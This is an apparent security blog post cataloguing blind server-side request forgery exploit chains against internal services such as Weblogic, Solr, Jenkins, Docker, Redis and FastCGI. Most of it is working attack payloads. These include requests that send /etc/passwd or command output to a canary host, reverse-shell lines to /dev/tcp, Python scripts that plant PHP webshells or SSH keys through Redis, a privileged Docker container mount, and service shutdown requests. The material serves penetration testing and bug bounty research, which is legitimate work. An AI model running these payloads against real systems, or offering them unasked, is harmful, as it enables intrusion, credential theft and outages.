Server Side Request Forgery occurs when you can coerce a server to make arbitrary requests on your behalf. As the requests are being made by the server, it may be possible to access internal resources due to where the server is positioned in the network. On cloud environments, SSRF poses a more significant risk due to the presence of metadata endpoints that may contain sensitive credentials or secrets.
When exploiting server-side request forgery, we can often find ourselves in a position where the response cannot be read. In the industry, this behaviour is often referred to as "Blind SSRF". In such situations, how do we prove impact? This was an interesting discussion that was sparked by Justin Gardner on Twitter:
I've been finding a large amount of Blind SSRFs recently. What kind of one-shot RCE's have you guys used as pivots for these in the past? I've got access to some Kafka and a bunch of other things. @nnwakelam @thedawgyg
— Justin Gardner (@Rhynorater) January 13, 2021
If you can reach internal resources, there are a number of potential exploit chains that can be executed to prove impact. This blog post attempts to go into detail for each known exploit chain when leveraging blind SSRF, and will be updated as more techniques are discovered and shared.
If we've missed any techniques, please send us a tweet or a DM: @assetnote and we'll add it to this blog.
I tend to call them SSRF canaries, when chaining a blind SSRF to another SSRF internally which makes an additional call externally, or by an app-specific open redir or blind XXE. Confluence, Artifactory, Jenkins and JAMF have some that works well.
— Frans Rosén (@fransrosen) January 13, 2021
In order to validate that you can interact with internal services or applications, you can utilise "SSRF canaries".
This is when we can request an internal URL that performs another SSRF and calls out to your canary host. If you receive a request to your canary host, it means that you have successfully hit an internal service that is also capable making outbound requests.
This is an effective way to verify that an SSRF vulnerability has access to a internal networks or applications, and to also verify the presence of certain software existing on the internal network. You can also potentially pivot to more sensitive parts of an internal network using an SSRF canary, depending on where it sits.
With the goal being to find as many internal hosts as possible, DNS datasources can be utilised to find all records that point to internal hosts.
On cloud environments, we often see ELBs that are pointing to hosts inside an internal VPC. Depending on which VPC the asset you're targeting is in, it may be possible to access other hosts within the same VPC.
For example, consider the following host has been discovered from DNS datasources:
livestats.target.com -> internal-es-livestats-298228113.us-west-2.elb.amazonaws.com -> 10.0.0.82You can make an assumption that the es stands for Elasticsearch, and then perform further attacks on this host. You can also spray all of these blind SSRF payloads across all of the "internal" hosts that have been identified through this method. This is often effective.
To find more internal hosts, I recommend taking all of your DNS data and then using something like AltDNS to generate permutations and then resolve them with a fast DNS bruteforcer.
Once this is complete, identify all of the newly discovered internal hosts and use them as a part of your blind SSRF chain.
When exploiting blind SSRF vulnerabilities, you may be able to leak some information about the response being returned. For example, let's say that you have blind SSRF via an XXE, the error messages may indicate whether or not:
- A response was returned
Error parsing request: System.Xml.XmlException: Expected DTD markup was not found. Line 1, position 1.
vs.
- Host and port are unreachable
Error parsing request: System.Net.WebException: Unable to connect to the remote server
Similarly, outside of XXEs, a web application could also have a side channel leak that can be ascertained by inspecting differences within the:
- Response status code:
Online internal asset:port responds with 200 OK vs offline internal asset:port 500 Internal Server Error
- Response contents:
The response size in bytes is smaller or bigger depending on whether or not the URL you are trying to request is reachable.
- Response timing:
The response times are slower or faster depending on whether or not the URL you are trying to request is reachable.
Possible via HTTP(s)
- Elasticsearch
- Weblogic
- Hashicorp Consul
- Shellshock
- Apache Druid
- Apache Solr
- PeopleSoft
- Apache Struts
- JBoss
- Confluence
- Jira
- Other Atlassian Products
- OpenTSDB
- Jenkins
- Hystrix Dashboard
- W3 Total Cache
- Docker
- Gitlab Prometheus Redis Exporter
Possible via Gopher
Tools
Possible via HTTP(s)
Commonly bound port: 9200
When Elasticsearch is deployed internally, it usually does not require authentication.
If you have a partially blind SSRF where you can determine the status code, check to see if the following endpoints return a 200:
/_cluster/health
/_cat/indices
/_cat/healthIf you have a blind SSRF where you can send POST requests, you can shut down the Elasticsearch instance by sending a POST request to the following path:
Note: the _shutdown API has been removed from Elasticsearch version 2.x. and up. This only works in Elasticsearch 1.6 and below:
/_shutdown
/_cluster/nodes/_master/_shutdown
/_cluster/nodes/_shutdown
/_cluster/nodes/_all/_shutdownCommonly bound ports: 80, 443 (SSL), 7001, 8888
SSRF Canary: UDDI Explorer (CVE-2014-4210)
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: target.com
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=SearchThis also works via GET:
http://target.com/uddiexplorer/SearchPublicRegistries.jsp?operator=http%3A%2F%2FSSRF_CANARY&rdoSearch=name&txtSearchname=test&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=SearchThis endpoint is also vulnerable to CRLF injection:
GET /uddiexplorer/SearchPublicRegistries.jsp?operator=http://attacker.com:4000/exp%20HTTP/1.11%0AX-CLRF%3A%20Injected%0A&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search HTTP/1.0
Host: vuln.weblogic
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Connection: close
Will result in the following request:
root@mail:~# nc -lvp 4000
Listening on [0.0.0.0] (family 0, port 4000)
Connection from example.com 43111 received!
POST /exp HTTP/1.11
X-CLRF: Injected HTTP/1.1
Content-Type: text/xml; charset=UTF-8
soapAction: ""
Content-Length: 418
User-Agent: Java1.6.0_24
Host: attacker.com:4000
Accept: text/html, image/gif, image/jpeg, */*; q=.2
Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><env:Envelope xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><env:Header/><env:Body><find_business generic="2.0" xmlns="urn:uddi-org:api_v2"><name>sdf</name></find_business></env:Body></env:Envelope>
SSRF Canary: CVE-2020-14883
Taken from here.
Linux:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://SSRF_CANARY/poc.xml")Windows:
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: vulnerablehost:7001
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:43.0) Gecko/20100101 Firefox/43.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 117
_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://SSRF_CANARY/poc.xml")Commonly bound ports: 8500, 8501 (SSL)
Writeup can be found here.
Commonly bound ports: 80, 443 (SSL), 8080
In order to effectively test for Shellshock, you may need to add a header containing the payload. The following CGI paths are worth trying:
Short list of CGI paths to test:
SSRF Canary: Shellshock via User Agent
User-Agent: () { foo;}; echo Content-Type: text/plain ; echo ; curl SSRF_CANARYCommonly bound ports: 80, 8080, 8888, 8082
See the API reference for Apache Druid here.
If you can view the status code, check the following paths to see if they return a 200 status code:
/status/selfDiscovered/status
/druid/coordinator/v1/leader
/druid/coordinator/v1/metadata/datasources
/druid/indexer/v1/taskStatusShutdown tasks, requires you to guess task IDs or the datasource name:
/druid/indexer/v1/task/{taskId}/shutdown
/druid/indexer/v1/datasources/{dataSource}/shutdownAllTasksShutdown supervisors on Apache Druid Overlords:
/druid/indexer/v1/supervisor/terminateAll
/druid/indexer/v1/supervisor/{supervisorId}/shutdownCommonly bound port: 8983
SSRF Canary: Shards Parameter
To add to what shubham is saying - scanning for solr is relatively easy. There is a shards= param which allows you to bounce SSRF to SSRF to verify you are hitting a solr instance blindly.
— Хавиж Наффи 🥕 (@nnwakelam) January 13, 2021
Taken from here.
/search?q=Apple&shards=http://SSRF_CANARY/solr/collection/config%23&stream.body={"set-property":{"xxx":"yyy"}}
/solr/db/select?q=orange&shards=http://SSRF_CANARY/solr/atom&qt=/select?fl=id,name:author&wt=json
/xxx?q=aaa%26shards=http://SSRF_CANARY/solr
/xxx?q=aaa&shards=http://SSRF_CANARY/solrSSRF Canary: Solr XXE (2017)
Apache Solr 7.0.1 XXE (Packetstorm)
/solr/gettingstarted/select?q={!xmlparser v='<!DOCTYPE a SYSTEM "http://SSRF_CANARY/xxx"'><a></a>'
/xxx?q={!type=xmlparser v="<!DOCTYPE a SYSTEM 'http://SSRF_CANARY/solr'><a></a>"}RCE via dataImportHandler
Research on RCE via dataImportHandler
Commonly bound ports: 80,443 (SSL)
Taken from this research here.
SSRF Canary: XXE #1
POST /PSIGW/HttpListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<?xml version="1.0"?>
<!DOCTYPE IBRequest [
<!ENTITY x SYSTEM "http://SSRF_CANARY">
]>
<IBRequest>
<ExternalOperationName>&x;</ExternalOperationName>
<OperationType/>
<From><RequestingNode/>
<Password/>
<OrigUser/>
<OrigNode/>
<OrigProcess/>
<OrigTimeStamp/>
</From>
<To>
<FinalDestination/>
<DestinationNode/>
<SubChannel/>
</To>
<ContentSections>
<ContentSection>
<NonRepudiation/>
<MessageVersion/>
<Data><![CDATA[<?xml version="1.0"?>your_message_content]]>
</Data>
</ContentSection>
</ContentSections>
</IBRequest>SSRF Canary: XXE #2
POST /PSIGW/PeopleSoftServiceListeningConnector HTTP/1.1
Host: website.com
Content-Type: application/xml
...
<!DOCTYPE a PUBLIC "-//B/A/EN" "http://SSRF_CANARY">Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here.
SSRF Canary: Struts2-016:
Append this to the end of every internal endpoint/URL you know of:
?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'command'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23t%3d%23d.readLine(),%23u%3d"http://SSRF_CANARY/result%3d".concat(%23t),%23http%3dnew%20java.net.URL(%23u).openConnection(),%23http.setRequestMethod("GET"),%23http.connect(),%23http.getInputStream()}Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Taken from here.
SSRF Canary: Deploy WAR from URL
/jmx-console/HtmlAdaptor?action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://SSRF_CANARY/utils/cmd.warCommonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: Sharelinks (Confluence versions released from 2016 November and older)
/rest/sharelinks/1.0/link?url=https://SSRF_CANARY/SSRF Canary: iconUriServlet - Confluence < 6.1.3 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARYCommonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet - Jira < 7.3.5 (CVE-2017-9506)
Atlassian Security Ticket OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARYSSRF Canary: makeRequest - Jira < 8.4.0 (CVE-2019-8451)
Atlassian Security Ticket JRASERVER-69793
/plugins/servlet/gadgets/makeRequest?url=https://SSRF_CANARY:[email protected]Commonly bound ports: 80,443 (SSL),8080,8443 (SSL)
SSRF Canary: iconUriServlet (CVE-2017-9506):
- Bamboo < 6.0.0
- Bitbucket < 4.14.4
- Crowd < 2.11.2
- Crucible < 4.3.2
- Fisheye < 4.3.2
Atlassian Security Ticket OAUTH-344
/plugins/servlet/oauth/users/icon-uri?consumerUri=http://SSRF_CANARYCommonly bound port: 4242
OpenTSDB Remote Code Execution
SSRF Canary: curl via RCE
/q?start=2016/04/13-10:21:00&ignore=2&m=sum:jmxdata.cpu&o=&yrange=[0:]&key=out%20right%20top&wxh=1900x770%60curl%20SSRF_CANARY%60&style=linespoint&pngOpenTSDB 2.4.0 Remote Code Execution
SSRF Canary: curl via RCE - CVE-2020-35476
/q?start=2000/10/21-00:00:00&end=2020/10/25-15:56:44&m=sum:sys.cpu.nice&o=&ylabel=&xrange=10:10&yrange=[33:system('wget%20--post-file%20/etc/passwd%20SSRF_CANARY')]&wxh=1516x644&style=linespoint&baba=lala&grid=t&jsonCommonly bound ports: 80,443 (SSL),8080,8888
Great writeup here.
SSRF Canary: CVE-2018-1000600
/securityRealm/user/admin/descriptorByName/org.jenkinsci.plugins.github.config.GitHubTokenCredentialsCreator/createTokenByPassword?apiUrl=http://SSRF_CANARY/%23&login=orange&password=tsaiRCE
Follow the instructions here to achieve RCE via GET: Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE!
/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name='orange.tw', root='http://SSRF_CANARY/')%0a@Grab(group='tw.orange', module='poc', version='1')%0aimport Orange;RCE via Groovy
cmd = 'curl burp_collab'
pay = 'public class x {public x(){"%s".execute()}}' % cmd
data = 'http://jenkins.internal/descriptorByName/org.jenkinsci.plugins.scriptsecurity.sandbox.groovy.SecureGroovyScript/checkScript?sandbox=true&value=' + urllib.quote(pay)
Commonly bound ports: 80,443 (SSL),8080
Spring Cloud Netflix, versions 2.2.x prior to 2.2.4, versions 2.1.x prior to 2.1.6.
SSRF Canary: CVE-2020-5412
/proxy.stream?origin=http://SSRF_CANARY/Commonly bound ports: 80,443 (SSL)
W3 Total Cache 0.9.2.6-0.9.3
SSRF Canary: CVE-2019-6715
This needs to be a PUT request:
PUT /wp-content/plugins/w3-total-cache/pub/sns.php HTTP/1.1
Host: {{Hostname}}
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.80 Safari/537.36
Content-Length: 124
Content-Type: application/x-www-form-urlencoded
Connection: close
{"Type":"SubscriptionConfirmation","Message":"","SubscribeURL":"https://SSRF_CANARY"}SSRF Canary
The advisory for this vulnerability was released here: W3 Total Cache SSRF vulnerability
This PHP code will generate a payload for your SSRF Canary host (replace url with your canary host):
<?php
$url='http://www.google.com';
$file=strtr(base64_encode(gzdeflate($url.'#https://ajax.googleapis.com')), '+/=', '-_');
$file=chop($file,'=');
$req='/wp-content/plugins/w3-total-cache/pub/minify.php?file='.$file.'.css';
echo($req);
?>Commonly bound ports: 2375, 2376 (SSL)
If you have a partially blind SSRF, you can use the following paths to verify the presence of Docker's API:
/containers/json
/secrets
/servicesRCE via running an arbitrary docker image
POST /containers/create?name=test HTTP/1.1
Host: website.com
Content-Type: application/json
...
{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}Replace alpine with an arbitrary image you would like the docker container to run.
Commonly bound ports: 9121
This vulnerability affects Gitlab instances before version 13.1.1. According to the Gitlab documentation Prometheus and its exporters are on by default, starting with GitLab 9.0.
These exporters provide an excellent method for an attacker to pivot and attack other services using CVE-2020-13379. One of the exporters which is easily exploited is the Redis Exporter.
The following endpoint will allow an attacker to dump all the keys in the redis server provided via the target parameter:
http://localhost:9121/scrape?target=redis://127.0.0.1:7001&check-keys=*Possible via Gopher
Commonly bound port: 6379
Recommended reading:
RCE via Cron - Gopher Attack Surfaces
redis-cli -h $1 flushall
echo -e "\n\n*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1\n\n"|redis-cli -h $1 -x set 1
redis-cli -h $1 config set dir /var/spool/cron/
redis-cli -h $1 config set dbfilename root
redis-cli -h $1 saveGopher:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/172.19.23.228/2333 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0aRCE via Shell Upload (PHP) - Redis Getshell Summary
#!/usr/bin/env python
# -*-coding:utf-8-*-
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
shell="\n\n<?php phpinfo();?>\n\n"
filename="shell.php"
path="/var"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payloadRCE via authorized_keys - Redis Getshell Summary
import urllib
protocol="gopher://"
ip="192.168.189.208"
port="6379"
# shell="\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
sshpublic_key = "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8IOnJUAt5b/5jDwBDYJTDULjzaqBe2KW3KhqlaY58XveKQRBLrG3ZV0ffPnIW5SLdueunb4HoFKDQ/KPXFzyvVjqByj5688THkq1RJkYxGlgFNgMoPN151zpZ+eCBdFZEf/m8yIb3/7Cp+31s6Q/DvIFif6IjmVRfWXhnkjNehYjsp4gIEBiiW/jWId5yrO9+AwAX4xSabbxuUyu02AQz8wp+h8DZS9itA9m7FyJw8gCrKLEnM7PK/ClEBevDPSR+0YvvYtnUxeCosqp9VrjTfo5q0nNg9JAvPMs+EA1ohUct9UyXbTehr1Bdv4IXx9+7Vhf4/qwle8HKali3feIZ root@kali\n\n"
filename="authorized_keys"
path="/root/.ssh/"
passwd=""
cmd=["flushall",
"set 1 {}".format(sshpublic_key.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payloadRCE on GitLab via Git protocol
Great writeup from Liveoverflow here.
While this required authenticated access to GitLab to exploit, I am including the payload here as the git protocol may work on the target you are hacking. This payload is for reference.
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.gitCommonly bound port: 11211
gopher://[target ip]:11211/_%0d%0aset ssrftest 1 0 147%0d%0aa:2:{s:6:"output";a:1:{s:4:"preg";a:2:{s:6:"search";s:5:"/.*/e";s:7:"replace";s:33:"eval(base64_decode($_POST[ccc]));";}}s:13:"rewritestatus";i:1;}%0d%0a
gopher://192.168.10.12:11211/_%0d%0adelete ssrftest%0d%0aCommonly bound ports: 80,443 (SSL),8080,8443 (SSL)
Effective against Tomcat 6 only:
CTF writeup using this technique:
From XXE to RCE: Pwn2Win CTF 2018 Writeup
Commonly bound ports: 80,443 (SSL)
This was taken from here.
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%10%00%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH97%0E%04REQUEST_METHODPOST%09%5BPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Asafe_mode%20%3D%20Off%0Aauto_prepend_file%20%3D%20php%3A//input%0F%13SCRIPT_FILENAME/var/www/html/1.php%0D%01DOCUMENT_ROOT/%01%04%00%01%00%00%00%00%01%05%00%01%00a%07%00%3C%3Fphp%20system%28%27bash%20-i%20%3E%26%20/dev/tcp/172.19.23.228/2333%200%3E%261%27%29%3Bdie%28%27-----0vcdb34oju09b8fd-----%0A%27%29%3B%3F%3E%00%00%00%00%00%00%00Tools
This tool generates Gopher payloads for:
- MySQL
- PostgreSQL
- FastCGI
- Redis
- Zabbix
- Memcache
SSRF Proxy is a multi-threaded HTTP proxy server designed to tunnel client HTTP traffic through HTTP servers vulnerable to Server-Side Request Forgery (SSRF).
Credits:
Thank you to the following people that have contributed to this post: